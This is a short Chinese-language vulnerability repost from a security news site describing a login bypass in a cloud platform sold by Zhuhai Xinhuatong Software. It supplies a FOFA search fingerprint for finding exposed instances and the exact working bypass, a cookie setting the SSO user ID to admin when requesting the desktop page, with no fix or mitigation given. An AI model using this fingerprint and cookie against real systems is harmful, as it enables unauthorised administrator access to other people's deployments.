珠海新华通软件股份有限公司云平台存在登录绕过漏洞

admin
admin
admin
115161
文章
95
评论
2024年8月30日08:16:38评论74 views字数 216阅读0分43秒阅读模式
漏洞描述

珠海新华通软件股份有限公司云平台存在登录绕过漏洞，攻击者获得管理员权限。

资产测绘
FOFA：icon_hash="513304261"

漏洞复现
#_SSO_Login_UserID=admin
请求/Main/Desktop/Default.aspx加cookie认证#_SSO_Login_UserID=admin即可绕过登录进入后台

珠海新华通软件股份有限公司云平台存在登录绕过漏洞

原文始发于微信公众号（漏洞文库）：【漏洞复现】珠海新华通软件股份有限公司云平台存在登录绕过漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月30日08:16:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   珠海新华通软件股份有限公司云平台存在登录绕过漏洞https://cn-sec.com/archives/3110585.html

发表评论

匿名网友 填写信息